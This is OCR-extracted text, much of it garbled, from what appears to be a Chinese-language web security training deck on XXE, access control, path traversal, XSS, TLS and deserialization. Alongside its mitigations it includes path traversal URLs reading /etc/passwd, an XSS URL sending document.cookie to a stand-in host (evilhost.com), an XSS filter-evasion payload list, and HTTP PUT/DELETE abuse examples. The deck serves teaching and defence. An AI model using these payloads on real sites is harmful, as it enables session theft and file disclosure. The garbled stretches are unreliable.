FEALiE Awindow. print()Z)avaScriptik# R TiERE - — B HBMAERE. mhtE
HESEAIEERNERAINISER - EX8lVE » WERERERINREATEE LR 1L
T#2 (social engineering ) o GFIRZEVESREEE FEER. mhUEENFEBHE -
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*> Disable DTD

> X

v 3 kAR

F3 2 Parserd ik 22 ko Y

— https://www.owasp.org/index.php/ XML External Entity (XXE) P

revention Cheat Sheet
— .NET Sample:

reader.DtdProcessing = DtdProcessing.Prohibit;

XmlTextReader reader = new XmlTextReader(stream);

// WEEDED because the default is Parsell

Vidck 2 s R 2P LR IDTD » 1 > disable:

\\\‘i

— External DOCTYPE
— External ENTITY

;el

¢ * & #r4% eXML Parser
v & H

— F,}\ ~ E )g F\
\ﬁfﬁﬁii\‘ #i=
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Broken Access Control

% Bt &
R B2 (> Weak Authorization

PP A Missing Function Level Access
(e I Insecure Direct Object Reference
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Weak Authorization

RO SR F R Y
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>4 R G HTR BRIk

ViR S8zl

— http://www.test.com.tw/UserDataManagement/UserDataEdit
.aspx?access=read

— https://web_ip/index.php?id=john&is_admin=fales&menu=Db
asic
v Cookie Poisoning/Spoofing
— uid : i
— username : ¥ 8
— admin : 0/1/Y/N

— permission : & #/F #
VEAERRR D R
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EE%
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T L e b T

/cart/login.asp-

{/cart/getpwd.asp- )— cee

/mews/index.asp+

o b /findex.asp- !“_{ /mews/subscri.asp- }— ooe

/help.htm«

l @ J'rlliteltlap-lltlll'*J F e

{admin/view.asp+ ’— o

/admin/login.asp-
. /admin/repwd.asp- )— oos
ESR-
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rc ¥ * = Forceful Browsing

> #ARHTML R 4a75 % 35 3 '& i ehURL
1 s k-2 E

v adduser/deluser ~ showprofile/editprofile ~ ...
> FRIBIAE & R B RA R

v & > 4% . bak ~ .old ~ .tmp ~ *~

v K & FAH C inc~ .cfg > log ~ .mdb ~ xIs > sq

v B HEH © tar ~ zip ~ rar - tgz
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& Google Hacking

[/ 29 inctaimin - Google 128
&« cCff - © wrw. google.com. tw/search Thl=zh-T'W&sonrce=hpirbiw=12805kh=7058q=nurl:ad minSraq—=f Sraqi=fraql=Soq=Fres_rfai=
FE#E B EH ME #HHE BE Cmal Fx v

GO ( )8 I_e inurl:admin 5

#7978 62,100,000 53R (S6F 0.06 79 SEREHPE
3 28 Diangao | The Django admin site | Django documentation . - [ #i:EHE |
L Django iz a high-level Python YWeb framework that encourages rapid development and clean,
Hixi pragmatic design.
v B docs djangoproject. comfen/devreffcontrib/admin/ - BESFE - SRS
E%gf*ﬁ . Info- amt netpr admin/
aud i
LifeType Admin
gk LifeType Admin. 22 B HLifType | HHEE-EME. HHEEE. SEg?
P i s blog.lib. nchu. edutwlifetypefadmin.php - BEFE - §HHE
ERTIUER Mani Admin Plug-in ©. - [ SE2HE |
BENEE The harmepage of Mani Admin Plug-in - a feature rich menu driven server administration tool for
TEERS games based on the Source Engine from “alve.
B 24 /i wney, mani-admin-plugin com/ - ZEE - FEHE
YEsmsTH admingif A Z2[El- SR S EA SRS B 201 0ERIFHSIEE .. O - [maseEs |

EAHE-RANE BAEF S o 20105 11 HiFFavdiss 2010511 HiF gt n fo s 2010610
HiSBRATHFI% - IR RE AR,  BIEEREHES TaRmE ..
wew moviepub netdprofile asp?UserMame=admin - thae |\ EHF0E - SEEE

EH TR L - [HARENE |

FigpriERibl AP SRy, EHMAEF. PR . PSS . BT - ERE
S BIERAEEE RS Tel:010-81991660 Q065961930 FP-gadmin ..
admin.asp9. cniweb2Z/admindogin.asp - EEFE

ERPRTAEY o 487 o BEARER, PEIMNY o, BEBY o, Email ERAMY
o, @EEE, fh 1, BREEED0T), XD, 85 ..
admin taiwan.net. twhotel’h_house.asp - SETEE - SRS

[EZlsfE] facebook » google ~ YahoosiWSN LiveBTiEF R ge B RS HeEE ...
2MO0E1THI1BH ... BERTESRFET ARl ERE E OrTEEE - EETHNAEE 88
FHETEEEER - 2TR2EEEBIE T EEKRGoogle - gamebase - YahoolESERILIZ ...

admin. pixnet.net/blog/post/27617557
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— P 5B (F 975 ?) > No SSL
_ r'—»’; zbgtpxgnz/\ ﬁ % *
>N h AT etk B B S
>3 Ik LR
»No/Bad authorization
»No Log

»Demo =2 .....
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VER 2EHTE
>k R FERRE B3 B(@Web Server)
VIERMRF P SFT
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f# &2 3% (cont.)

PR EE TR R
v gt 2 5 FRIGURLGEE)
v 'Q#'J]L}B’*-é/fjv\'ft”}é‘q
AR R *}3 X F BCIRR BPAE? A R F p R AS?

—ﬁﬁ*bé?ﬁmWWﬁlﬁbﬁﬁmﬁi
\/ LA 3B KRIP

» Secure Default

YRR R RS G B R
— Role Based

Vg (S AR R 2 TR LFRAARD
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v http://www.xxx.com/showPage. aspx’?page:main.aspx
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d 1
| #EE HHBE 4RO FESEW IEO HEE

[Qer-©- & A&

|4 D) [@ 1 hip:fislabiqwikivikifindes php?page=. /.. .. fetcipasswd %00

QwikiWiki

Recently Yiewed: config.php = ./ config,

root;x:0:0;root; froot: bingbash

bir:x:1:1:bin: bin: fsbinfnologin

daemon:x: 2: 2:daemon: /sbin: /shin/ologin
adrm:x: 3.4 adm: fvar fadm: fsbin/nologin

P4 7 Avar fspool ipd. fshindologin

sync: o0 synic: fgbin: bindsyne
shiutdown::6:0:shutdown: /sbin; fsbin/shutdown
halt:x: 7:0:halt: fsbin: fshin/halt

mail:x:8:12:mail; jvar fspool/mail : fsbin/mologin
news:x 9 13news: fete/news:

uucp:x: 100 14 uuep: Avar fspool fuucp: /shin/hologin

Key Pages: Home | Crili

wlsiliilsel el

] R

[ 1]

El erc=E-EESuEs X

C 1} | & == | https//www.mobileO1.com/topicdetail. php?f=6878t=3722701 &p="

zhung #* Bz | FAE | IS || SIS || MR RS | SFeo | ERE

ZEASE 1,082,443
2014-01-07 13:27 #1

ABA—ETRIREEZ AR  EREERERIE - linuxaypasswdiEizpod
il
BEEZERT T ..

http://pastebin.com/mGk2bpXx

L=

ERAEFQ@"

ET2HNEs8 BEET -THERERXHER - EEFARA/D - EFHE
cracker i ETEEE

EiZF 199 oarpviprefZ £

FEAHBEEREERED BT HLUERETEREENAE

EWE listDir B U EEEESE TETEEE
EMRTEFEHERZEREET ...

EERIE - http://pastebin.com/xxxVvsCk
# http://www.fetc.net.tw/portal/front/_listDir?
admin=buck&Dirld=624940165493939446¢c265871f96426568&path=../../../..

/../lpr_database

bin/

fetc.conf
lpr_data_img/

lpr _data done/
lpr_data_missed/
lpr_data_manual/

T
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> RRIRERRT FAd TR R R
B & (5 F R © - 84
gl B 1 f#7% [ Index value or a reference map
v http://lwww.example.com/application?file=1
v & ts 7 0 1 2 “function_AddUser.aspx”
> H @
vV eS8 £ 5 s B k(4e Null byte) i # —‘ﬁﬁ] »F B
- ik & Bi% = F #2Decodedz {5
E3RM ~ SR B ot RyE e E TR

- Java : java.io.File = getCanonicalPath()
— ASP.NET : System.lo.Path.GetFullPath()

/ﬁxq%g! y




Bl " Ue k... .70 o8 ?

 ENNCEYT

HegA BN A

¥} & 55 R HFEREFRRE

¥ & 32k W F MR R IRIPR E
M F T e RARE
WAHGEH MAEKE
FEIHEEH Bk 48 B 69 A FRAR &

DO NOT CROSS

95



Copyright of STI



Many Locations

=+ I8

- B FE4E
, HhE @
Bt i 5 - R~ RE
- ﬁ » ¥ % -> SQL Injection, XSS..
Framework
- .NET, Java, 39 party libraries

Bt A2 % ERE \
- backup -~ test files
- source code files

- config files
27 W11’ :FCT}‘—LE_EL#
TR ERB (ASRENE -

- SSL config

- HTTP config

B R e B IR TS




Web Server

GET B 18 {5 2B F R
POST EAERI ST (RN)
CONNECT 8 {7 i (> proxy)
HEAD B 18 w 21 ¢ Header p %
OPTIONS 74 BPRE 1 # «nMethod
TRACE PE (A Y B F
<\ | PUT FNEI PIRE
@)
DELETE W PR E 2 %
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v HEAD
— Banner grabbing by telnet
— Sending “HEAD / HTTP/1.0” to www.hinet.net port 80

Lazt—Modified: Tue. B3 Hov 2007 BB:57:24 GMT
Accept—Ranges: hytes

Content—Length: 9627

Cache—Control: max—age=3688

Expires: Tue, B3 Hov 200% B3:38:56 GHT

Uary: Accept—Encoding

Connection: close

Content-Type: text-shtml

1B 2 B PR A -

C:~Documents and Settings“fredweng:
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v OPTIONS

0o cancel host |xfmw.d [cnm_tw |
= = port |20 [ Juse 85L
request

l/raw rheaders rhex |

OPTIOMS THTTRM .0
Hostww. o | corm.tw

response

l/raw rheadera rhex |

HTTRM.0 200 QO

I: Server: Microsoft-ll1555.0

— || Date: Thu, 07 Jan 2010 02:39:58 GMT

MS-Author-via: DAy

Content-Lenoth: 0

Accept-Ranges: none

DASL: =DaY sgl=

D 1, 2

Fublic: QPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIMND, FROPPATCH, LOCK, UNLOCK, SEARCH
Allowe: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCE, LINLOCK

Cache-Control: private 100




v PUT

v DELETE

PUT /test.htm HTTP/1.1

Host: xxx.xxx.com.tw

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us

Connection: Keep-Alive

Content-type: text/html

Content-Length: 40

<html><body><h1>stipt</h1></body></html>

DELETE /test.htm HTTP/1.1

Host: xxx.xxx.com.tw

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us

Connection: Keep-Alive

HTTP/1.1 201 Created

Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30

Connection: Closed

<html>

<body>

<h1>The file was created.</h1>
</body>

</html>

HTTP/1.1 200 OK

Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30

Connection: Closed

<html>

<body>

<h1>URL deleted.</h1>
</body>

</html>
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> [ B Directory Listing (= 11S Ul ~ Apache http.conf)

Inde%x of /etc/passwd

Hame Last modified Size Description
Parent Directory 31-Jul-2003 12:36 -
AT-admin.cgl 31-Jul-2003 12:55 2k
Count.cgi 31-Jul-2003 12:55 3k
CrazyWWWBoard.cgi 31-Jul-2003 12:55 3k
Search.pl 31-Jul-2003 12:55 Sk
WSFTE.LOG 31-Jul-2003 12:55 309k
¥aBE.pl 31-Jul-2003 12:55 Sk

L.
vti inf.html 31-dJul-2003 13:06 1k
access.log 31-Jul-2003 12:55 141k
accounts.txt 31-Jul-2003 12:55 22k
admin.db 31-Jul-2003 12:55 51k
L
administrators.pwd 31-Jul-2003 12:55 1k
administrators.pwd.i..>» 31-Jul-2003 12:55 2k
adpassword. txt 31-Jul-2003 13:07 1k

PR P P PP P P P PP P P P

master.passwd

msades.dll

mysgl.class
order.log
passlist.CxT
passwd
passwd. txe
password
password. txt
people.lst
perl
print.cgi
pwd.dat
pwd.db
redirect.cgl

root

secring.bak

sendmail.inc

service.pwd

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

01-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

HE=3=1

55

:55

HE=3=1

155

HE=3=1

55

HE=3=1

111

:55

HE=3=1

155

HE=3=1

2:55

HE=3=1

55

:55

2155

155

2k

63k

1k

1k

1k

1k

lek

471k

10k

1k

0k

5k

4k

2k




> Web Server % %] 500 Status Code 44 353 &

v HTTP Response: Status Code
— 200 - OK
— 301 - Moved Permanently (Redirect)
— 302 - Moved Temporarily(Found)(Redirect)
— 304 - Not Modified (for Cache)

@) — 500 - Internal Server Error

IS

e

€ "'gfe

e
(Fa]
m

=5 £

M o= | B

=E BdtmE | £588

B

n

HTTP Elfg ISAPI&E MIME FE

2o

EEssEEgs ?
250
EEEgEEsEss B0
O BEIE=EE0
O #EESD)
@ TEEROBAESESFRERNEIESSEED

BFREsE
EEPR):

EEEI:
[e=
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Z ® Framework3g &K 46353 &

h :/[dotbl . .tw/joysdw12/2013/05/20/104561
/ .N ET 9 Web.CO nflg hggz://mostdn?g‘lsiccrg;nog.vcj(;)n)szr\:\ftwllibrary/hOhszfc(v:vs.100).aspx
<customErrors mode="0On|Off]| !
defaultRedirect="error.html|">
<error statusCode="500" redirect="err500.aspx"/>
<error statusCode="404" redirect="notHere.aspx"/>

<error statusCode="403" redirect="notAuthz.aspx"/>
</customErrors>

/ \] ava ) We b . Xl I I I https://www.codejava.net/java-ee/servlet/how-to-handle-error-in-web-xml-for-java-web-applications

<error-page>
<exception-type>UnhandledException</exception-type>
<location>GenericError.jsp</location>
</error-page>

<error-page>
<error-code>500</error-code>
<location>err500.jsp</location>
</error-page>
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> NET: B F #+ 3
(T —
=] _soo |

)

Action:  [Change Content-Length

J

-

A

=10 %]

Address: [R5 [1hwm = . Fhc443OrdQryHs. 25 2 _send |
Request | Info | QUI

T JOrdQrytis.aspx HTTPI1.1
eferer: Wi i o oapiel com, hi:443/OrdQryHis. aspx

ontent-Length: 63

ontent-Type: applcation)x-vwww-form-urlencoded

il com, hik

-Agent: Mozilaj4.0 (compatible; MSIE 6.0; Windows NT S.1; SV1; .NET CLR 1.1.4322)
30ma: no-cache

ookie: CustomCoolies\Weblnspect; ASP.NET _Session]ld=wuzwiqpbnsgguwtSS0qomaced

1P e

icewfhidQty=8Account wfsYY = SsMMesDDw Sorder | =1

Regsponse | Qrowser |

Argument ‘Datel’ cannot be converted to type '‘Date’.

stack trace for more information about the error and where & orignated in the code

Source Error:

Source File: CPUBLICWWWWWROOT WS
4

i com hiOrdQryHis aspx  Line: 46

Search [Response

=) For |

Exception Details: System valdCastException: Argument ‘Datel’ cannot be converted to type Date’

Description: An unhandied exception occurred during the execution of the current web request. Please review the

Line 44:

Line 45: s = SYY & "/ &M &/ & DD

Line 46: tmpDay = DateDiff("d", sss, Now())

Line 47: strhistory = oclsCOM.GetOrdHistory (Session("ACNO"), Session("PASS"), tmpD
Line 48: 'Response.Write(strhistory)

o

| Regex ' I

A

g
na

<configurations>
<!-- forms based autheptication -->
<system.weh>
<compilatic
<compiler

debug="talse"

<compiler langUuafge= c#" type="Mi

<assemblies> /1
<add assembly="] |icmrlil:m, Version

</compilation> JI."I II

|

.“i '|

|

/|

."JI ll_\\
= false

([ElFRk THE (E)
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> 5% ip M HTTP Headers : (< Web Server / Coding)

https://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/

o}

» (52 XSS (Cross Site Scripting) :

Content-Security-Policy

o Set-Cookie: HttpOnly
o X-XSS-Protection
o X-Download-Options

b

)

73

o

O

=

# Clickjacking :

X-Frame-Options
{E HTTPS 4l :

Set-Cookie: Secure

Strict-Transport-Security

8B R R AT -

X-Content-Type-Options
s AL ERAIW AR

o Access-Control-Allow-Origin ( It header AR EBAEES

HE ! )

o X-Permitted-Cross-Domain-Policies

106



> M B 4 3 Renegotiation

.Z—SSL—DDS is a tool to verify the performance of SSL.

Establishing a secure SSL connection requires 15x more processing
power on the server than on the client.

.Z-SSL-DOS exploits this asymmetric property by overloading the
server and knocking it off the Internet.

This problem affects all SSL implementations today. The vendors are aware
of this problem since 28083 and the topic has been widely discussed.

This attack further expleits the SSL secure Renegotiation feature
to trigger thousands of renegotiations via single TCP connection.

Download:
Windows binary: -ssl-dos-1.4-win-bin.zip
Unix Source -ssl-dos-1.4.tar.gz

Use "./configure; make all install" to build.

i g =

Handshakes @ [©.0@ h/s], @ Conn, © Err
Secure Renegotiation support: yes
Handshakes @ [@.@@ h/s], 97 Conn, @ Err
Handshakes 68 [67.39 h/s], 97 Conn, @ Err
Handshakes 148 [79.91 h/s], 97 Conn, O Err
Handshakes 228 [8@.32 h/s], 18@ Conn, @ Err
Handshakes 308 [88.62 hfs], 10@ Conn, @ Err
Handshakes 39@ [81.1@ h/s], 18@ Conn, @ Err
Handshakes 47@ [8@.24 h/s], 18@ Conn, @ Err
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TechNews
SR

BAE FiE FHREE B IEG <Ak EREAD AREEE #HESHE BE SELECTS ANEER

CVE-2014-3566

;rJ:J RZENHEEE  Google FIEHEHMETY

fEE Pingwest | 27 HEA 2014 £ 10 B 15 B | #18 4888, El=E

iR Google X EIEE FRYAS « BRITRIFN SSL F=tEE » BRESULIBEBASENF ZENERRAMEMRE B
MEZEEE  SEENZEENREZELRIBRELNL  fIIIRS - EHZENHEAE - BRKS  OfAEFZ IS EREZA
F1SSL3.0 BREERAET  BHHERE TLS ( EMEXEBE ) M 0LIEIRM SSL E|LaTss » BEREREEEAEN
EZE  RERBEREQITES SSL MERIEMANESET ra=o# -

HH'

ARRFROIEFITR bug  REEFREESRABEE

Rt BE—EEFEMERREE SR LS » BATHEEH
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> 15 TARRTARYT
v &% TLSv1.2
VHMPFF PP TLSVLL > TLSV1.0 ~» SSLv3 » SSLv2
> AT 5 R AR 4 72 2 Hash
ViR .é * DES ~ 3DES ~ MD5 ~ RC4
>hvdE R
v 1024 11}
» Implementation( & &-/#23;V /) #® * & AT5%
5 s

v’ http://blog.jobbole.com/80591/ (SSL/TLS 2% % & it 5% 5 v1.3)
v' https://www.ssllabs.com/projects/best-practices/
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I
2 ;fcsﬁ;-;; BN B
I

v’ SSL% 2
v Web Serverik z_

— i E A BB F 7 (4] Tomeat Admin ~ phpMyAdmin for MySQL ~ PHP Info page ..

% Apache TomewiS5.12
PR
d 2,
Fete T =t %
pazeshn i
[
i

- MFPE&HTER
- MFPRFINFER
"LHgGoogledw # F(robots. txt)
- OS# 7 s it

%

> ?# \ /J(\ w"bpi 'L
v # f ‘debugging modes”

— Log ~ backdoor ~ PW ~ comment
v os v FIRE
v Bk &B"K’F B
v ?‘;}J}f_;‘;&%xq&,] fu

i+ §_F { #7_F patch

& i g2 PR32 (Service ports)

)

s
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XSS (4£:1996 ~ Z5:7)

11 fa0 5 AR IS ) v
(i R% E e ERVE




Google

S =S
v E

- Fe

FrE e
EROIHEE
HiERHEE

TERRE
Bk 24 ABF

2 ]
HETHY

> EEHESTH

Cross-site scripting - Wikipedia, the free encyclopedia - [ SEEHE ]

Crass-site scripting (X35) is a type of computer security valnerability typically found in web
applications that enables malicious attackers to inject ...

en wikipedia org/wiki/Cross-site_scripting - BEwR#E - A%

SR EEPHPERRE] Taiwan PHP User Group |

#SS(Cross Site Scripting|IHEE S iS4 Cookieth BT ... TEHERE BT 22055 BT R —IEEE
ST R AR G E FRTHE S, - M ERIERE R MHER T ¢ SRS ..
twpug.net/modules/smartsection/itern _php?itemid=34 - BEFFAE - BLAE

200735?5-15 ‘SH?EJ*‘it?éE?'\T% ‘%ﬁﬁ% OpenBlue FfirFRE22:50. & T TF R EIRRAE
E%EPI;"\‘E%%B% .. http-anti-hacker blogspot com/2007/07/xs5 html ..
anti-hacker hlugsput com : BEED - BEFE - S

Blog XDite.net » £ 88 S5 H B85

200611 B218 ... FrsEXSS (Cross Site Scrip t|n_|. ﬁ:ﬂjﬁﬁ;%{-}-ﬁﬁiﬁaﬁﬁgﬁiﬁﬁﬁgﬁ
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F %38 XSS#= & (cont.)

-
Sign In | Contact Us | Feedback | Search |{script}alert{lllljc:,-'si[ Go ] =

Search Results

Mo results were found for the query:

INSIDE ALTORD MUTUAL

Privacy and Security

The 2000 employees of Altoro Mutual are

dedicated to protecting your privacy and security. 'j 111

We pledge to provide you with the information .

and resources that you need to help secure your

information and keep it confidentizl. This is our

promise,

BERE REE B0

T2 <td valiga="top™ colspan="3" class="bh":> P
73
T4
75 <div class="If1"™ style="width: 33%;">
785
77 <hl>5earch Results</hl>
T8
7o <p>No re=sulc=s were found for the query:<br /><br />

B0 <span ;ﬁ="_cuLE__cuLE_C:nEELE_H';:_Lb;Sea:ch"}tscript}alert¢1111]{fscript
81
B2 < fdivs

83
B4

</ span></p>
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'_."j ZRa APPFW Demo Server - Windows Internet Explorer =101
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23 B e BT EE- 4 iEH B8 - Microsoft Internet Explorer
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> H ¥ * chURL -

v http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=
<script>alert(document.cookie)</script>&search_title=1

Microsoft Internet Explorer

lang=ch-tw; _ utma=270312759 484776273.1141230841.1152230213. 115223371120
A tmz=270312759.1152196100.12 6 utmee rral) hatmesr=h s e hatmee md=referral; m aﬂ_
mv—umsmmmumﬁﬁeg _ utme=270312759; uunb-m 12759; COOKIET TING_COO KI%
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FEMMBEAIIR

FEFHER en
http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<script>loca

tion.replace(““http://www.evilhost.com/getcookie.asp?k="+document.co
okie)</script>&search _title=1

> - Yo kB
http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=%3C%73%6
3%72%69%70%74%3E%6C%6F%63%61%74%69%6F%6E%2E%72
%65%70%6C%61%63%65%28%53%74%72%69%6E%67%2E%66%7
2%6F%6D%43%68%61%72%43%6F%64%65%28%31%30%34%2C
%31%31%36...(#% )&search_title=1

T RS
v Tstblog s WAL/ _\> FrESIERF- T
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PHPSESSID=792e48c961e5d46d21b6b7081ee2cbd9; _ utme=270312759;a_wd=sbii®; a_page=1; COOKIETEST=TESTING_COOKIE;
[wretchhals_data=a%3A2%3A H7Bs%3A11 %3A %22aviologinid %22 %3Bs %3 A0 %34 %22%22 %3BsH3A6 %34 %22userid 22 %IBsBIA6 BIAD
[22207405%22 %3B%7D; wretchhals_sid=e7ece2sa1662da8dc024baedce05912¢; wretchhals_t=a%3A6%3A %7Bi%3A76110%3Bi%341152238523%
3Bi%34 1440 %3Bi%3A [ 152238300 %3Bi%3A 76080 %3Bi%3A 1152238328 %3Bi%3A75471 %3Bi%3A1152238366 %3Bi%3A 76065 %3Bi%
3A1152238512%3B1%3 475828 %3Bi%3A 1152238534 %3B%7D

|http:#Awrww wretch.oc/
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»>i%iE XSSE i # -"2“' Lo I 2
v 1 ¥ Browser
v 1 ¥ Office
v 3z ¥ Adobe
v iz¥# WInRAR
Vit .

Sl BARSIRT XTRIRD

121



- R TPAAER?

http://anti-hacker.blogspot.com/2009/08/sorry.html
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http://demo.testfire.net/search.jsp?query=<iframe src=http://www.igiyi.com/w_19s2bdesvp.html height=600
width=600>
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set Reg = new RegEXxp

with Reg
Pattern =""[""#:;0)<>,=+]"
.Global = True <<script>>... ?!
end with <scr<script>ipt> ....?!

test = Reg.Replace( Request.QueryString(“test™) , “”*)
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verHgE . eI R~

DN N N N N N

AN

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

<IMG SRC="javascript:alert(*XSS’);">

<IMG SRC=JaVaScRIiPt:alert('XSS")>

<IMG SRC-=javascript:alert(&quot; XSS&quot;)>

<IMG """"><SCRIPT>alert("' XSS")</SCRIPT>"">

<IMG SRC-=javascript:alert(String.fromCharCode(88,83,83))>

<IMG
SRC=&#106;&#97;&#118: &#97; &#115; &#99; &#114; &#105; &#112; &#116; &#58
:&H#H97; &#108: &#101; &#114; &#116; &#40; &#39; &#88; &#83; &#83; &#39; &#41 ;>

<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000
114&#0000105&#0000112&#0000116&#0000058&#0000097 & #0000108&#000010
1&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083 &#0000083&
#0000039&#0000041>

<IMG SRC="jav&#x09;ascript:alert('XSS");"">
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Favorkes off Meds £
Address | @] htp:/flocshosticode ASP NET1 .1 fRequestyakdstion. sspx

IH'“ﬁ workd! T A pot erdialy dandgeroun Beguest Form vaker was delected Drom the clend {_ ot =" < sorgd ™). - Microsolt Bk evnet Eaplores

e G0 Ve Fportes lock e v
You entered Hello world! Ot = 3 - 0 (3} (0] Sisemch Cireertes Freds O] e

Ahirens | ] herge | focabost ol A5 M TS | i ety abaton anga o Boe ks ™

Server Error in '/Code' Application.

8] Dore

A potentially dangerous Request.Form value was detected from the client (_ctll1="<script").

Desc APptinn: Fegues Vakdalar fad Setecied & (ohartaly datgeroul el Pl vl i (Roledirg of P fegue Fad Deen soried T vilse Py Pkl ale o 00T 5O COPEr (Feid T peCus Dy of
s aphoalon, Bt el 8 Crodi-ble BOAEERg ARaCh Yo O ddabis regatl vakdebon by el rablabefiegueril=teivg I Pe Page drecBer O @ T CONpur o feclon. Moreerver I B ilrongly
Pt el Tl ol appkd el #oplc iy chech ol Fouli © Pl Cade

Endeption Details: Tyten vt HEpRegue 'y skdalonl scaglon A pobaraly defger s Begud Fors vl s detected b T Ol o ="sairgl)

WP s : —

<%@ Page wvalidateRequest="falze" %>

erated during the execwtion of the currest web reguest. Inforsation regarding the origin and
be i1dentified wling the excepLion stack trace below.

Or In Webconflg . [rtphegeestval vdationDnception (OuSO00M00% )y A potentially desgercus Beguest.form value wad detected from the client (_ctll="ascript™).)
Tystem. eb. Mttoleauvest. Validatelitrimg Hﬂﬁ 8 $tring valuelame, String collectionkems)

Gl welo fi!loﬂl:llﬂ\-'-'lwﬁ:n”!l:!'-aﬂ e, Itring t-u'|'|ltt1a-ﬂl-lrj

<configuration:> D sedtrathodO
[BachMode )
<zystem.web> tee Determnepostaacimode()
(4= FiL]
q = —_ - i)
<page=s validateRequest="fal=e" /> Pt {escontest context)

e, Srstem weh, HTTpape] 1Cat vofe ExeCut 105 Tep. Execute()
aeitep(lExecutionstep step, Bodlesd completediynchronously)

</ system.web> -

</configuration> o
1 ] Locel rerarer :




(X ~ % 1 3% : Sanitization(ij # )

V5B etk 0 L PET Bipe B CFRT I
—hr % @ PR E % E P 3 HTML-Encoding

Character | HTML Entity C# Example: PHP:
&lt: StringBuilder sb = new SiringBuilder{ Ensure output is passed through
&at; HittpUtility. HtmIEncode(input)); htmlentities() or htmlispecialchars()
&amp: sh.Replace("&ltb&gt" "<h=");
&quot. sh.Replace("&lt./b&gt", "<b=");
&sbquo: sb.Replace("&lti&gt ", "<i=");
&nbsp: sh.Replace("&ltA&gt" "</=");
3535, Response. Write(sh. ToString());

&#39;
&#40;
&#41;
&#43, Java :
3#58;
&#59;
3#61;

ASP : Server.HTMLEncode(string)

import static org.apache.commons.lang.StringEscapeltils.escapeHtml;

String source = "The less than sign (<) and ampersand (&) must be escaped before using them
String escaped = escapeHtml(source);

— 4% g 3 FE AL 2] #e 5k % ¥ URL-Encoding

&2 .NET : (System.Web) HttpUTtility.Url[Encode()
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BEAEEHEAMNE @ 518 emal 27

aaript=alert(l 11 1) <fcripte~

o FTETERE e o SIS IRTEERE L (0 ]
Mg %3CscriptH3Ealert(11 L1) B3C soript H3E-&PositionNo-MA - ESEMETAEE M=
EEE EE #ﬁ-ﬁlf_f'
113 RSB L S el [ JEUNEE LA i i
114 <input name="sztep" type="hidden™ wvalue="login"x> =
135 <input name="PositionMNo™ type="hidden"™ class="butlfton" wvalue="MA">
116 <input name="Bl" type="submit" class="button" valle="FEE">
117 < ftd>
118 L
115 </table’
120 </form>
121 <font eolor="red" elass="font-9"Fili:scriptigt;alert [m]_:'_,,_'scr_pt;u“ }'fﬁ"t}
123 <p align="center"»<font SIZE="Z" color="#FFO000"-EFEEEEH TREE @ Hi
123 email ¥ U:rﬁzﬁ@ <a
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f* & 22 3% (cont.)

v ¢ * Framework#73% i-crip B iR
- NET

> Microsoft Anti-XSS Library
(https://www.owasp.org/index. php/.NET AntiXSS Library)

B System.Web.Security.AntiXss

B 5 - http://haacked. com/archive/2010/04/06/using-antixss-
as-the-default-encoder-for-asp-net. aspx/

- JAVA:

»DeXSS -- Java program for removing JavaScript from
HTML (http://dexss. org)

> How to Build an HTTP Request Validation Engine for Your
J2EE Application

(http://www. owasp.org/index. php/How to Build an HTTP Request Validati
on Engine for Your JZEE Application)
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f# & 2& 3% (cont.)

— OWASP ESAPI

(Enterprise Security API)
(https://www.owasp.org/index.php/EASP I#tab=Home )

® i -
v’ Java EE
v NET
v" Classic ASP
v PHP
v ColdFusion & CFML
v" Python
v Haskell
o ;‘ .

> https://www.owasp.org/index.php/EASPI#tab
=Downloads

® XSS:

» XSS (Cross Site Scripting) Prevention Cheat
Sheet

> https://www.owasp.org/index.php/XSS_(Cross

~Site_Scripting) Prevention Cheat Sheet

- [E Owazp.E zapi Mamezpace
v @ AccessController Class
+ @ tccessPeferencetap Class
+ @ Encoder Class
+ @ Encrptor Clazs
+ @ Ezapi Class
+ @ Httpltiities Class
+ @ IntusionD etector Class
+ @ LogE ventTwpes Clazs
+ @ Logger Clazs
+ @ LogLevels Class
+ @ Randomizer Class
+ @ SecurityConfiguration Clazs
+ @ Thieshold Class
+ @ Validator Class
= [m Owaszp.Ezapi.Codecs Mamespace
+ @ BaseR4Codec Class
+ @ HirnlattributeCodec Class
+ @ HimiCodec Class
+ @ JavaScriptCodec Class
+ @ UrCodec Class
+ @ VbScrptCodec Class
¥ @ “midttibuteCodec Class
+ @ ¥miCodec Class
+ @ Owazp.Ezapi.Emors Mamespace
+ @ Dwazp.Ezapilnterfaces Mamespace
+ @ wazp.EzapiValidationF ules Mamespace
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Serialization Basic

» To “serialize” an object

v to convert|its state to|a byte stream|so that the byte
stream can be reverted back(Deserialization) into a copy
Of the ObjeCt, Serialﬁization

vl

- OBJECT STREAM

9 p ’ /
Nt N

| — | —
P4

Deserialization

P B F AL Cache ~ File ~ DB ....

e P RPC - Web Services + Message Brokers .....

ERar i HTTP Cookies ~ Form Variables .....
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Insecure Deserialization

>r:c§—"f::c§—"f Ak F f%3:%(deserialize)w
P & mbyte streamp\ % v #L?] P 3TEF B
iE 3 ¥ p R

(@ )
> BT 4

> F7 5 \}ﬁﬂ‘? (deA% 18 )
> PRFxEG s B

> ...

;‘%’;‘-‘;L'%ﬁvﬁj;\

https://www.owasp.org/index.php/Deserialization_of untrusted data

Description

Data which is untrusted cannot be trusted to be well formed._Malformed data or unexpected data could be used to
abuse application logic, deny service, or execute arbitrary code, when deserialized.
